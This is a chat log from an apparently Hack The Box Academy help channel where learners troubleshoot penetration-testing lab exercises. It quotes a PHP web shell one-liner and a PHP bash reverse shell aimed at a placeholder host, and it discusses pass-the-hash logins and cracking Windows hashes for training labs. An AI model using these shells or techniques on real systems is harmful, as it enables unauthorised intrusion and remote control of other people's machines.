modules

[fathom pendant]

Making assumptions is how you miss the obvious

[steady pelican]

Got it, still my question is. If I have disabled ping using -Pn why it is still sending ICMP packets

[fathom pendant]

It shouldn't be

But -A may enable things

It's why your disable flags go at the end

[raw bear]

Hey there I'm currently working on the Vuln Assesment Modules and Im getting kinda confused on the methodology presented in the module.

It doesn't reallly make sense to me to Evaluate the risks and anticipate the potential harm that our vuln scan could cause to the company's information system (step6) AFTER performing the scan (step 5)

am I missing something here ?

[fathom pendant]

Evaluate the risks of the discovered vulns

[grand gate]

Just a small question related to the subscription: I'm planning to sub to the $8 student plan, so is it auto subscription ? or if I want I can do it manually each month?

[fathom pendant]

Auto

[fathom pendant]

Nvm I'm just waking up, chuck in #1234357888114364508

[grand gate]

ah F, is it possiible to do it manually instead? I want to pay only uptil I want

[tranquil axle]

just unsub righ after subbing

[fathom pendant]

^

[grand gate]

Hmm ok 👀

[fathom pendant]

Monthly sub is for day x -> day x month to month so apr1 -> may1 or whatever day -> whatever day

[acoustic owl]

But remember that once the subscription has expired, you will only be able to access the modules that have been completed completely.

[raw bear]

are you saying an erratum already exists (because I can't find it ), or should I make some kind of ticket ?

[fathom pendant]

Make a post there:
"Chuck it in" is an expression meaning throw or put it in

[raw bear]

ok I thought It was a typo for "Check in "

[fathom pendant]

I did not mistype

U and e are very far apart

If i had mistyped, I'd just give up on life

[raw bear]

Fair enough

that would have been a pro gamer mistype tho

[wide river]

Did not expected to learn English here 🤣

[quiet trout]

Hi all working the footprinting assesment lab:

https://academy.hackthebox.com/module/112/section/1078

and running into this error:

NSOCK ERROR [4.4240s] mksock_bind_addr(): Bind to 0.0.0.0:631 failed (IOD #4495): Address already in use (98)

ive ran into this a few times when doing BOXES and not academy but i finally delved into this and it looks like i should be able to bypass this using --source-port <x> but doing that, its still returning :631 as in use... (i specified 13373)

is there ab etter way to fix this wihtout killing whatever (cups) is on that port

$ nmap -sV -sA 10.129.156.28 -g53 -Pn my nmap initially had nothing to do with that port anyways so im a little stumped... i did target that port on the TARGET (--top-ports=1000) but not sure why its trying to do that on my host, particularly with -g specified

[acoustic owl]

Look at the error message. Something is already running on this port.

[quiet trout]

yes i understand the error message but not how that relates to outbound scanning

[acoustic owl]

A port can only be used by one service at a time.

[quiet trout]

yeah uncertain why its using :631 locally but putting that aside for a moment, i used the --source-port option to specify a diff port anmd i still came up with the exact same error

im doinga test on a target ip, not my local ip btw in case thats unclear

but the default route 0.0.00. is specified and im uncertain whose ip that is tbh

[acoustic owl]

I don't know what exactly you are trying to do, but the error message says that you tried to start a service on port 631, but it is already in use on your machine

[quiet trout]

(pwnbox or target)

I'm trying to do a simple --top-ports nmap scan -sV on a target

for the footprinting assessment

i guess i need to tcpdump a nmap scan and see if its trying to use my local ports to connect to the target or something?

it has to be local something because i terminated the pwnbox, restarted it and the scan kicked right over

[acoustic owl]

Which version of nmap do you use?

[quiet trout]

nmap 7.94, on pwnbox

[acoustic owl]

Hmm? It should actually be solved.
https://stackoverflow.com/questions/73671565/nmap-running-on-zenmap-7-93-nsock-error-ssl-init-helper-openssl-legacy-provider

[quiet trout]

slightly diff error message but im passed it for now, ill just have to investigate the packets its possible my CTRL+C interruption, it didnt like that

thanks for that though ill keep it in mind

[acoustic owl]

I just tried it on the PwnBox without any problems. Maybe you should restart the target and the PwnBox.

[solar bloom]

Getting Started Module> Knowlege Check> When I search for exploit I don't find anything on search sploit and other websites. Using MSFconsole and selecting what should be the right exploit, the check fails. Also, I see there is a manual way to do this, but the php code doesn't match anything we have learned. I feel like this makes it hard because I am by no means a web dev or a programmer. Even using swisskyrepo I wouldn't of gotten the reverse shell via php syntax right.

[fathom pendant]

This is an entry level module, there's nothing overly complex you'll be required to do and you've been shown everything in the module so far

If the check fails: are you sure it's the right exploit

[solar bloom]

Right but for me if I used the manual way to do the exploit, I only really know the website ive been provided and previous commands. The answer sheet uses something complete different. That's where I get hung up because without it I wouldn't complete this correctly (likely).

I just want to understand and learning what I'm actually doing is all :).

[fathom pendant]

Then you take notes and research

Htb can't break everything down all the time. You may require external resources to understand things

The php syntax just uses system() to run a system command

So instead of using php, it runs system code

[solar bloom]

I have a OneNote pretty full of each module and have been reading on php, I just don't get how some of the commands are created for this. I do understand external resources are required here but half the battle is understanding what to look for when you are learning what it IS.

echo '<?php system($_REQUEST["cmd"]); ?>' > /var/www/html/shell.php
vs
||<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/PWNIP/PWNPO 0>&1'"); ?>||

[fathom pendant]

$_REQUEST is specific to web stuff

typically it's either $_REQUEST[] or $_GET[]

it takes the arguments from the url ?somvar=someval

in this case it takes the "cmd" argument and runs the input from that as a system() command

https://www.php.net/manual/en/function.exec.php

https://www.php.net/manual/en/function.system.php

[fathom pendant]

literally just look at the docs for php

then google from there

https://medium.com/@stefanos.kalandaridis/bash-ing-your-network-f7069ab7c5f4

[fathom pendant]

consider everything inside 'exec' as running as a shell

so it's running a revshell command within the php syntax

PWNIP/PWNPO is your tun0 ip and your listening port; i can see you pulled that from the walkthrough/guide

[solar bloom]

Is there an easy way to scroll up in a terminal to see items we can no longer look at (above)? I did end up with root flag after using msfconsole.

[brave prawn]

Hey, can I dm someone on Introduction to Sliver C2 module? Can't manage to establish reverse shell via forwarded port

[quick goblet]

Hi, has anyone completed the Prompt Injection Attacks module?

In the final Skills Assessment, I managed to get the CEO banned and even obtained the admin key, but the flag still isn’t showing. Am I missing something or doing it incorrectly?

[coral crest]

not the same problem and not sure if anyone already mentioned, but new update on kali, makes nmap return incomplete service version

[winter field]

Anyone that completed the DACL attacks 2 module? I am stuck on the last question of the skills assessment.

[quiet trout]

Thank you this is definitely something I need to keep in mind

We're talking about nmap -sV outputs or just returning the wrong nmap version (-v or whatever?)

[astral egret]

can any one help with password attacks- PTT for linux the last 2 questions.

i got the ticket right but it still gives me errors i cant access julios smb share

gensec_spnego_client_negTokenInit_step: gse_krb5: creating NEG_TOKEN_INIT for cifs/dc01 failed (next[(null)]): NT_STATUS_INVALID_PARAMETER
session setup failed: NT_STATUS_INVALID_PARAMETER
it give me this

even though im using the right ticket
klist
Ticket cache: FILE:/root/krb5cc_647401106_HRJDux
Default principal: [e-mail]

Valid starting Expires Service principal
10/07/2022 11:32:01 10/07/2022 21:32:01 krbtgt/[e-mail]
renew until 10/08/2022 11:32:01

⚠️ help

[north frigate]

Hmm, could I get a hint for the DNS-module of "footholding"? 🙂 The last question ("Find FQDN of host with IP xxx.xxx.xxx.203") ... so I'm running dnsenum with various wordlists on the ip adress of the initial dns-server (I do not know how to embed the information about the internal dns server in this query). Any help? 😄

[safe star]

With ligolo?

[brave prawn]

Nope, rportfwd, but nvm, resolved the issue

[stone elk]

Is there any way to fix academy VPN constantly not working? I don't really know if that's my problem, but every like 3mins the IP of the server just keeps not responding and I can't do anything because of it.

I changed the server and the issue appears to be fixed

[astral egret]

waisted days thinking i was the problem the VPN is the fucking problem

fuck this shit man

[gray yacht]

If you're still stuck I'll be on the pc in a few. You can DM what you know and have tried.

[astral egret]

can anyone help where do i get LINUX01$ kerbos ticket from i dont really understand the question

[fathom pendant]

the module teaches you everything you need to know to find tickets

LINUX01$ would be the machine ticket that connects it to the AD environment

[runic turret]

Hi guys! I'm doing the Getting started module, i solved the first question and now i'm into user2 but whatever i do i can't find a way to escalate my privileges to access the flag.txt in /root, everything i try i can't move because i don't have the user2 password. The only hint i have is "don't forget to chmod" but i don't understand exactly how can i use it in this case. Sorry for the possible dumb question but i'm trying to learn as much as possible without googling solutions or using AIs

[fathom pendant]

what can your user see that you think they shouldn't

sometimes a user may have more permissions to see something than they should

[runic turret]

I can reach the flag.txt inside root but i can't open it due to permissions and i can't find a way to escalate privileges

[fathom pendant]

the reading may have referred to a hidden file location such as where you'd store your id_rsa

every ssh user has one including root

just gotta list all items

[vast wind]

Hey everyone! I’m stuck in Getting Started on Public Exploits. I viewed the hint and searched exploits in meta soloist and found an read only exploit that lets to an etc/passwd but what am I supposed to do with the etc/passwd?

[fathom pendant]

maybe modify the exploit to read a different FILE

options is useful

[vast wind]

Ah I knew it! okay

[vast wind]

Thank you!

[runic turret]

I'm following the module's instruction but i just can't get to it, i'm almost cooked after several hours lol

[astral egret]

can you explain a lil more

[fathom pendant]

in order for a machine to connect to a domain, it needs to be issued a ticket

any machine tickets will have the $ at the end

so; you need to find the config for how it connects to the realm

hint a tool they showcase will be useful

[astral egret]

thanyou homie

[winter field]

I eventually got it, but thanks!

[runic turret]

I did the chmod 600 part and now i have the private key id_rsa and the public key id_rsa.pub and i'm stuck in the "ssh root@10.10.10.10 -i id_rsa" part where i keep getting timed out

[cloud urchin]

That's the wrong IP

[runic turret]

Yes i used the spawned one

[cloud urchin]

so it either died or you have the pwnbox spawned at the same time being on the vpn or something. if your command is timing out that indicates you can't reach the target.

[runic turret]

I tried several times with two different spawns and i always get the timeout. IP and Port are correct, this section is making me crazy

[cloud urchin]

are you on the vpn or using the pwnbox? it's something to do with your network connectivity. if you recently changed vpn servers you may need to hard refresh the page you are spawning the target on (CTRL+R)

[runic turret]

I'm on VPN, ok i'll try one last time for today then i go to sleep lol thanks 😁

[flat estuary]

I am experiencing a delay in the recursive ffuf scan process. I have double-checked the full URL from HTB academy on the browser, but it is showing "Server Not Found." Can someone help me with this?

[cloud urchin]

your hostname is incorrect

[flat estuary]

I am connect through VPN and it is working when I run http://academy.htb:PORT

from my vmware

[cloud urchin]

according to the text on the page you provided it's admin.academy.htb. in your command you're just using admin.academy. in discord you say you're using academy.htb. they are all different and according to the text, you need to use admin.academy.htb. make sure to add it to your /etc/hosts file too.

[runic turret]

It's not a VPN problem, is there a way to have more than the -Don't forget to chmod-
"hint"? I give up for today but i honestly don't know where to start tomorrow, this is the first time i can't understand what to do...

[cloud urchin]

It's a network problem of some kind. You said the error was a timeout. That means the command gave up because it couldn't reach the target before the timeout timeframe.

You can terminate the target, download a fresh VPN file, maybe from another server/region, hard refresh the site with CTRL+R, then re-spawn the target and try to connect again.

you should be able to ping the target too.

[runic turret]

Yes but every other interaction with the spawnbox worked, that's the only command that didn't work 🥲 anyway tomorrow is a new day, i'll try again, thank you very much 😁

[vast wind]

Hello all I am stuck again on Getting Started on Public Exploits. I couldn’t get shadow so I got config but I am not sure what to do with the config. I tried logging in but it won’t allow me because of the access is denied for local host

[silk lagoon]

Can any kind soul please DM me regadring help with Skills Assessment - File Upload Attacks

[vast wind]

Any help would be appreciated 😊

[fathom pendant]

not sure what part you're trying to do; but the public exploits solely deals with a public facing web app; that tells you explicitly where the flag is

[silk lagoon]

Or does anyone know why I am getting a 500 in reponse?

[crimson obsidian]

Quick question! Could i use my Education Email Adress as my secondary email on my HTB account and still have access to Education pricing for the monthly subscription?

[fathom pendant]

yes

[crimson obsidian]

Okay! Thank you

[shell ridge]

Hello guys i have a question, i don't know if that's the right channel or what but the main question is:
How accurate is linpeas.sh?

I'm really new and I get linpeas red and yellow over a cve but when i try to check it there is a module required for that vulnerability to be exploited, it's missing on the machine.

Does this happens or maybe i'm doing something wrong?

[fathom pendant]

it's accurate to a point

but i don't recommend using it for n00bs

it throws a lot of info at you that ultimately is useless unless you really know how to exploit it

[lusty thicket]

linpeas is like a car alarm that goes off when a leaf lands on the hood

[fierce stream]

Hey, I've put in a lot of time this past year into leveling up my pentesting skills. I've completed Offsec's PEN-100, and PEN-200 course. Along with Hack the Box Academy's Information Security Foundations course, both Bug Bounty Hunting and Penetration Testing job roles.

I'm currently hitting a wall. I feel like my note taking, enumeration, and understanding of fundamentals are solid. But when tackling labs or networks with multiple machines, I'm struggling to differentiate between the correct path forward, and rabbit holes.

A lot of times during enumeration, I'll find things that look like valid attack paths, sometimes even real vulnerabilities, but they turn out to be dead ends. When that happens, I end up brute forcing every interactive part of the site just to make sure I didn't overlook something. That approach eventually reveals the path forward, but it's inefficient, and slow. My pace is no where near where it should be in recognizing where to focus my efforts.

I guess my question is, would someone be willing to tell me what I'm missing or what I should be focusing on to improve?

[coral crest]

-sV, which involves the nmap version
just pointing this because, I was redoing some old exercises, and those using this version, will have a problem finishing some modules
replace with older version or tool, or only use parrot/ htb instance

[shadow hollow]

Hi Guys im preparing for CPTS and i am stuck in the attacking enterprise networks web part. Especially the cookie stealing on the support site. I can get requests to my php or pthon server if i just type the url to my server in the field that it needs to be in. But i cannot get a script to execute there. I already checked the solution tbh, bc i am stuck there for hours and cant figure it out at all. As a last resort i literally copied the solution and changed ip and port to my systems but it still doesnt work. AnyHelp would greatly be appreciated.
I also restarted everything, VPN, Lab, VM, Host. I cant figure out if i overlook something completely, the lab may be faulty or i am just on it for too long

[fathom pendant]

if you're struggling in AEN, then read the section, as the module itself is a guide

if you're struggling with that then you're likely doing something wrong

hard to say without knowing. but i'm an advocate of doing that module blind ==> not reading the module nor reading the questions

[cyan laurel]

Hello everyone,

I’m completely new to IT, but I’d like to learn about cybersecurity. I have a vocational diploma in digital systems, so I’m already familiar with basic concepts and feel comfortable with computers in general. However, I have no experience in cybersecurity and don’t really know where to start.

If anyone has a recommended learning path (courses, certifications, resources, hands-on projects, etc.), I’d love to hear your advice! My goal is to learn gradually and in a practical way.

Thanks in advance for your help!

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[pine dune]

Hi guys, quick question. I have port 5621 open via nc and Im trying to redirect a vulnerable ssrf part of a website to that port however it's not giving the correct response but when I do it on port 80, it does. Anyone have any ideas why?

[ocean night]

@pine dune which module is that regarding?

[pine dune]

SSRF

[ocean night]

Provide a link to it, please

[pine dune]

https://academy.hackthebox.com/module/145/section/1300

they show it in the example with port 8000

Im trying to replicate it with port 5621 but idk if im doing somehting wrong

[ocean night]

That's a tier 2 module, so please avoid posting screenshots with potential spoilers

[pine dune]

sorry

[ocean night]

You've asked your quesiton, and specified the module, so hopefully someone will be open to giving you a nudge

🙂

[pine dune]

okay thanks man 🙂

[acoustic owl]

If you still need help, send me a dm

@pine dune ^

[pine dune]

Thank u

[serene drum]

So I am currently on the File Upload Attacks module doing the absent Validation sub-module and I am having trouble understanding what I am doing wrong when writing the PHP script. I have tried a few different ways to output the hostname, but I dont get words, I get- nvm

LMAO I figured it out as I typed

Is there a channel I can suggest that a mistake was made on a certain question?

[acoustic owl]

#1234357888114364508 <—

[safe mango]

I don't know who created the assembly module on hack the box academy but that dude needs a raise.

[serene drum]

Hello, so I am currently on the client-side Validation sub module in the file upload attacks module. I am attempting to modify the request as it states to create a shell on the host.
I have tried doing it as it shows a few times on the backend, but I just either get what looks like encrypted characters, or a black screen if I remove those characters from the initial request. Any help would be appreciated.

[fathom pendant]

client-side section only requires you to modify the client-side validation side in the html from what i recall

[serene drum]

Yes, which I change the file name and add in the php script in the actual request. when I try to then visit the file, rather than presenting a shell it presents a blank page.

I havent tried the other way which is front end

[fathom pendant]

is the php shell expecting a request?

like ?c=<command>

[serene drum]

May I show you the image in the module I am using as reference?

[fathom pendant]

if the php code contains $_REQUEST["c"] => your call to the server must use ?c=

[serene drum]

Ohh

[fathom pendant]

$_REQUEST["param"] or $_GET["param"] require the "param" to be used in the request

[serene drum]

so if the "param" after $_REQUEST IS "cmd" I need to use cmd?

I'm a little confused

[lusty thicket]

yes

it has to exist somewhere in the request

[calm swan]

Hi,
I have this small question regarding one command in Footprinting - DNS module.
I don't really understand the concept of using ns in a dig command as shown below:
dig ns inlanefreight.htb @10.129.14.128

What does it change to the output of a dig here?

[serene drum]

Is it okay if I post an image from the module so I can clarify.? From the way it seems to suggest, I change the file name in the request to theFileName.php and then a few lines down also write my script, and the send it, then try to visit it.

[fathom pendant]

yes

[fathom pendant]

that should be fine

module is above tier 0 so careful sharing :))

[serene drum]

yeah when I visit it, its just blank or if I dont remove the random characters, those characters are in it.

[fathom pendant]

it just being blank
^

that means it uploaded and you can visit it

given your php shell you need to call that endpoint with ?cmd=<command here>

[serene drum]

but when I visit it, its blank

ohhhh

I understand

[lusty thicket]

the output depends on how the dns is set up, if it's authoritative or has special records

[fathom pendant]

if you want it to run an arbitrary command you'd instead replace $_REQUEST["cmd"] with whatever system command you want

[fathom pendant]

you're specifying the query type

[serene drum]

you saying endpoint made it click I think

lets see

[fathom pendant]

dig <query> domain @nameserver

[calm swan]

but cant we just use dig -x <ip>?
first time using dig command so sorry if im totally wrong here haha

[fathom pendant]

i'm sure there may be multiple ways to use dig

however the conventional format that dig uses is dig query do.main @name.server

[calm swan]

oh okay, thanks for the clarification

NGL but the amount of information in CPTS modules is just enormous

[serene drum]

so I retried using ?cmd=<and then a command> and each time I visit it, its still blank. I am suppose to be able to for instance put ls after ?cmd= and it should spit out contents of a directory right?

[fathom pendant]

oh ffs

you don't include the <>

[serene drum]

I know

I didnt

[fathom pendant]

but yes it should; if it's not i'm assuming you did something wrong

:P

[serene drum]

Yeah I'm at a loss. haha

[fathom pendant]

try using $_GET instead of $_REQUEST

[serene drum]

Okay.

[serene drum]

GET worked.

[waxen totem]

Best to understand the difference to see why it works better

[serene drum]

Yeah I am looking into it. I wonder why the lesson says to use $_REQUEST

[fathom pendant]

this module is a decent showcase of the example != what you'll encounter

[serene drum]

Very true

[calm swan]

I got a problem in Footprinting - SMTP module with the last question;
I found the username but it says it's incorrect...
[+] 10.129.54.51:25 - 10.129.54.51:25 Users found: *****

I used metasploit to get it

question:
Enumerate the SMTP service even further and find the username that exists on the system. Submit it as the answer.

it is some task bug or?

[waxen totem]

Try using other tools like the nmap script or a third party script

[calm swan]

trying it rn; Remember that some SMTP servers have higher response times now I know what they meant here... Sooooo slow

[calm swan]

but I'm wondering why MS doesnt work here

[waxen totem]

also make sure you're using the wordlist from the resources

[calm swan]

yea, im using it

@waxen totem found it...

gonna write down this command for future; sometimes I love that Academy doesn't give all commands straight up, forcing us to research it ourselves and LEARN but sometimes it makes me maaaad haha

btw MS works too but I had to change the wordlist to the one provided in resources (and its kinda faster than the command I used)

[silk lagoon]

Hi can anyone give me a hint on File Upload Assesment.

I already have the extension and content type and found the directory from xxe attack to get from source code.

When uploading the final shell code it still says Only images allowed and i changed everything in repeater even added Magic bytes (GIF8)

I did also see in forums of someone using a hex editor and that as well did not work

[calm swan]

you can try adding double extension but I may be wrong (havent done this task yet)

[silk lagoon]

i did that as well

i checked (fuzzed) for both black and white listed as well for content type filters.

[calm swan]

if it says "Only images allowed" then its most likely that ur file has to have the image extension but I dont want to give the wrong idea cuz like I said I havent done that task yet

but keep researching, you'll find something useful in no time!

[silk lagoon]

I have been all day lol

earlier i couldnt find the source code but i took a break and i found it doing the same method idk how now it worked.

but now i cant get pass this issue.

As for hex editor i used a JPEG signature, but i guess the PHP code that follows immediately after, the system may detect it as suspicious. But i am not sure if this is even the issue.

[safe star]

have you tried using a real image

[silk lagoon]

i just used exiftool

on repeater it gives me a response and does not say "only images allowed" but when i go to the file it says only images are allowed again.

[halcyon tinsel]

i need to scan my system for all listening services across all inferfaces, im having trouble and chatgpt cant save me

[cloud urchin]

which module and section?

[foggy solstice]

Hey
I have never used hack the box
Can anyone tell me if THM and HTB are same or different??

[silk lagoon]

I got it to work but now stuck on parameter commands. I tried ?cmd= cat ../../../../flag.txt as well as cat flag.txt. Also cd ../../../../;ls -la but didn’t see anything interesting

Any tips/hints?

this is still for Skills Assessment - File Upload Attacks

[verbal parcel]

is Skills Assessment - File Upload Attacks broken? I can upload a .svg file with the XXE payload for upload.php but it wont show anything in the source code

[silk lagoon]

Dm what payload you used bc it was like that for me too

[verbal parcel]

will do, ty

[halcyon tinsel]

oop sry, i didnt recieve ping, its linux fundementals (18 )sec 80

[halcyon tinsel]

sysctl or netstat?

[waxen totem]

sysctl is responsible for the services on the machine
netstat is used to get the network status, usually ports and interfaces on the machine

which one do you think you should use? 👀

also provide the section name not just the number

[halcyon tinsel]

ik netstat, but ive tried everything that im questioning myself

😭

its section "filtr contents"

[waxen totem]

look at what's specified in (the parenthesis) after the question

[halcyon tinsel]

yh, ss -tuln | grep -c 'LISTEN' is responding 20, i thought -tuln would respond with all innerfaces

[waxen totem]

yes but how many of those are localhost?

it wants the ones that AREN'T localhost

[halcyon tinsel]

ohh

[waxen totem]

~~ngl could've been worded better ~~

[halcyon tinsel]

thanks man

yh wording confused tf outtam e

ipv6 too or just ipv4?

[spiral sapphire]

Hey guys! I just want to confirm one thing. I'm doing the web attack module and for the remote code execution with XXE exercise I'm supposed to launch a python web server on my VM. I just want to confirm is it safe to do so? Can a malicious actor connect to my VM or home network if I do "sudo python3 -m http.server 80" ? Are there any risks or totally safe?

[waxen totem]

Read what's in the parenthesis again...

[halcyon tinsel]

okkk

[real delta]

no one can connect to your home network without being in range and having the wifi password for it

[waxen totem]

it's safe (unless you've done some port-forwarding on your router and have very specific configs for your VM network)

[spiral sapphire]

Okay, thanks guys! That is good to know. I was worried the port 80 will open up for everyone on the internet and everyone and their mom will try to connect to my IP through port 80. 😄

[waxen totem]

Be glad we ran out of ips early on and they had to invent NAT

massive security boost ngl

[halcyon tinsel]

what abt with remote management?

[grand gate]

One more small question
If say, I pay my $8 and then unsub, will my subscription be valid for that month?

For the htb academy student plan

[halcyon tinsel]

for most services yes, check tos when u agree. chatgpt is handy

[waxen totem]

same thing, VPN is the exception

[grand gate]

I want to explore and see first if I'm comfortable with the content then I'll continue with the sub

[real delta]

still can't connect to your home network bruh

[grand gate]

And if I can handle ctps I could go ahead with that then

[real delta]

contact support for all things related to subscriptions

[compact patrol]

https://help.hackthebox.com/en/articles/5986762-contacting-htb-support

[grand gate]

ok

[halcyon tinsel]

"Need to speak to a person?" ai is too powerful

[real delta]

AI isn't very smart

[halcyon tinsel]

considering it couldnt find what i was doing wrong earlier. i agree

[grand gate]

https://help.hackthebox.com/en/articles/5720974-academy-subscriptions
I wonder if this article is still valid

Scrolling down, you can see your current plan. At the end of the page, you can simply click the Cancel Subscription option, which will keep your current month's or year's subscription active and running, but will prevent further automatic payments from going out from your default registered payment method.

[halcyon tinsel]

yh so it should cancel after free trial,

otherwise you can always tell your card not to give em mony

[waxen totem]

academy doesn't have any free trials... does it?

~~and don't say T0 modules are free trials, they aren't ~~

[grand gate]

ok, and if I cancel the sub then it should be valid for the next 30 days right ?

[real delta]

contact support for anything related to subscriptions

[grand gate]

ok

[halcyon tinsel]

isnt it dont spoil over t0?

[waxen totem]

yeah don't spoil anything over t0 cos they ain't free, also regardless of tier don't share answers either.

[halcyon tinsel]

kk can i dm u?

[waxen totem]

what for?

[halcyon tinsel]

future problems etc etc. also i might have one now..

1s

[waxen totem]

future problems, no I will not always be available(ask when they happen, I'll help if I'm active), right now, I wanna know the context

[halcyon tinsel]

same question, however i didnt know if i could post possible answers here?

[waxen totem]

you can post command results without the answers in it

[grand gate]

ah F support is closed till tomorrow

I want to know if someone tried to cancel the subscription right after paying

[spiral sapphire]

Why couldn't you? You've paid for the whole month, yeah? Also, if you want to be sure. Why don't you just cancel the subscription a day before the month has passed?

[grand gate]

oh right I can also do that

[fierce mortar]

Hello can someone help me , i'm in wordpress skill assements on hacthebox academy , i can't launch a wpscan ?

[real delta]

do you have it installed?

https://wpscan.com/how-to-install-wpscan/

[fierce mortar]

Yes i have , i also got this error "Scan Aborted: The remote website is up, but does not seem to be running WordPress."

And i can't access the httos servers i have this error "SSL_ERROR_RX_RECORD_TOO_LONG"

[grand gate]

nice, decided to enroll in student plan, will complete the pen tester path first 😅
decided to let it go on for 3 odd months then unsub

[halcyon tinsel]

could my error have been i was given duplicate ports? i got annoyed and guessed the answer, however i just realised i got some duplicate ports when not using | wc -l to auto count for me

[waxen totem]

Well, the module also introduces how to deal with that

[native crow]

Hey guys , super sttuck on AD Enumeration & Attacks - Skills Assessment Part II. Submit the contents of the flag.txt file on the Administrator desktop on the DC01 host. I've Obtained the C*** users PW and generic all rights. But cannot abuse ACL / Admin hash obtained from SQL01 doesnt work with MS01. Would much appreciate some help

[heady tusk]

Feel free to DM me. It has been a while since I did that but still have my notes so I'll be able to provide some help :)

[native crow]

awesome thank you!

[fast jungle]

Hello. I'm having trouble with the new android fundamentals module. Section android emulators, question Create an AVD for 'Pixel 3a API 34 Google APIs' using Android Studio. What is the build number of the device? I have created the correct AVD but it seems like the build number is incorrect.

[red steppe]

Hey all, I would like to ask
for AD Trust Attacks Module
Lesson (Unconstrained Delegation)

Currently i am attempting to spin uip the box. However everytime I authenticate I would reciveve the error 'ERRCONNECTLOGON_FAILURE

If anyone has ever done this module and would love to point me on to the right direction would be greately appreciated 🙂

Disregard this issue, it seems like it was vpn related. I chaged vpn and sorta worked

[fast jungle]

Nvm I solved it

Lmao

[full wagon]

👍

[limber wedge]

sorry not related to modules, more to AttackBox VM, not sure if its the right place to ask, but anyone have this issue? i dont have any active AttackBox VM at the moment

[sand ember]

Hi,
I'm currently doing the module "Applications of AI in InfoSec"

For the Network Anomaly Detection, when I'm submitting the model file for evaluation, I got the error "Invalid model file"

I validated the upload code by uploading the spam classifier (to the right port), and it works

I also tried to load the Network anomaly model and use it, it also works, so the joblib.dump() seems ok

Did I miss something?

[regal sigil]

How do I fix this output in a windows shell

[rustic sage]

Hello

[compact patrol]

https://help.hackthebox.com/en/articles/5987511-contacting-academy-support

[fathom pendant]

@limber wedge ^

[fathom pendant]

that's just kinda normally how weirdly it outputs

[fallow kernel]

In the Linux Local Privilege Escalation - Skills Assessment module there is a note that says:

Note: There is a way to obtain a shell on the box instead of using the SSH credentials if you would like to make the scenario more challenging. This is optional and does not award more points or count towards completion.

Is there someone who figured out how to get a foothold without using SSH?

[limber wedge]

yes contacted support, i guess ill wait for them, thank you !

[runic turret]

Hi guys, i'm doing the pentest introduction course, i'm on the Nibble machine and i'm following instructions but when i try to execute the whatweb <ip/nibbleblog> i get the ReadTimeout error. I googled and there's another guy that had the same problem and he supposed that it was due to Nibbles beeing part of the vip subscription, is this the reason? It's not a problem by my side

If i execute whatweb with IP only it works, the problem is when i try to access /nibbleblog and i can't reach it on the browser too

[calm swan]

@fathom pendant you never sleep, right? hahah

[fathom pendant]

the nibbles section on getting started module is slightly different than the box but not being able to access the endpoint is odd (it has nothing to do with subscription level)

try changing vpn regions/respawning target

[runic turret]

I also tried to click directly on the link from the redirectLocation of the whatweb scan so the url should be correct, I'll try your suggestion and let it know, thank you!

It's weird because the initial page where there's the Hello World string works

[alpine ingot]

on the logrotate part of linux privesc, why is the log not rotating?

[calm swan]

its in the Footprinting - SNMP module last question

[fathom pendant]

that's not how snmpwalk works

[calm swan]

I used snmpwalk to find the script

then I thought I can use snmpget to get the content of it

[fathom pendant]

lol also: you are grepping and it is returning what you're grepping maybe you need more Context After the grep

grep is a powerful tool if you just read the docs

[fathom pendant]

update the log file and it'll rotate

[fathom pendant]

consider each .n it's own output line getting more specific i.e. 1.3.6.0.1 and 1.3.6.0.2 refer to the same 1.3.6.0 object but more specific at .1 and .2

[alpine ingot]

i did, and then it created a new file. I thought it was supposed to give me a shell

oh lol nvm, immediately after sendin that i got root. then the shell went away before i could cat the flag.

[fathom pendant]

i would focus on trying to grab the file instead, shells with this method are highly unstable

[calm swan]

DAMN, I love you!!!

thanks A LOT!!!

[alpine ingot]

I got flag, thank you! I dont remember reading anything about how to update the log in the section.

[fathom pendant]

reading up on OIDs is useful for snmp stuff

[south marsh]

Who here likes powershell ?

[calm swan]

who doesn't LOL

[south marsh]

I was being ironic, we actually support that?

I guess we have too

[alpine ingot]

I hate learning powershell but oh boy do i like what you can do with it.

[fresh wedge]

so i am on Password attack lab-hard. Was able to get the hashes from the vhd file. but none of the wordlist i have tried so far cracked Administrator hash. Can i get a hint in the right direction please

[fathom pendant]

rockyou or mutated should work

[fresh wedge]

└──╼ $john hashes_to_crack.txt --format=nt --wordlist=/usr/share/wordlists/rockyou.txt found nothing

[fathom pendant]

if not: you don't need a password to log into windows, sometimes the hash is all you need

[alpine ingot]

If you need to use a mutated password im pretty sure the 64 top rules in hashcat is a good one for mutating pw lists for htb

[bitter needle]

reverse psycology 💀
never actually tried using the hash as the password but when i think about it , it does make sense

[alpine ingot]

yeah its weird, i was doing a box once and i was stumped after not being able to crack the hash, eventually i looked up the next step in the walkthrough and was so annoyed that i just had to use the hash.

[regal sigil]

I changed my payload, it fixed that issue

[bitter needle]

do u by chance remember the box name?

[fathom pendant]

yep most tools support it; freerdp uses /H: i think

[bitter needle]

but there is no practical use with it right ? i mean like irl who would keep their NTLM hash itself as their password

[alpine ingot]

uhhhhh, idk. I remember one of the more recent active directory ones i did was cicada but idk for sure if that was it.

[fathom pendant]

you're thinking incorrectly about this

with Windows: the hash is the same as the password, essentially

[bitter needle]

ye i too had a bad feeling abt tht

[fathom pendant]

it's not that their password is the hash, it's just the way the login works

[bitter needle]

oh wait

[fathom pendant]

the hash is just a hashed version of the pw

[bitter needle]

u mean if i put hash it is treated as a password itslef in windows?

like rather than password123 if i input the hash of it , windows treat it the same way? @fathom pendant

I havent really touched windows machines yet, been mostly working on Linux.

[fresh wedge]

ok so i tried to use the CMD as Administrator and tried the hash as the passwd that didnt work. so we must have to import psexec on the box to get this to work or something

[alpine ingot]

so im doing the misc linux priv esc and i ended up getting root with the nfs but i cant find the flag. I found 4 flags on the system and none are the right ones

[fathom pendant]

not necessarily, it's just how it's shipped off

[fallow kernel]

You should check the /etc/exports file

[fathom pendant]

you don't use /p: to pass the hash

[alpine ingot]

thank you

[fathom pendant]

an ntlm hash is in the format LM:NT, typically the NT portion is used

for UAC, you'd need the pw

but you can just... log in as the admin directly

instead of dealing with UAC/importing tools

[bitter needle]

shipped off? you mean how windows handles authentication? like, when I enter a password (password123) does windows immediately compare it to the stored hash or does it first hash my input and then check if it matches the stored hash?

[fathom pendant]

when you input the password it's hashed and compared

[barren kite]

https://learn.microsoft.com/en-us/windows-server/security/kerberos/passwords-technical-overview#how-passwords-work-in-windows

[fathom pendant]

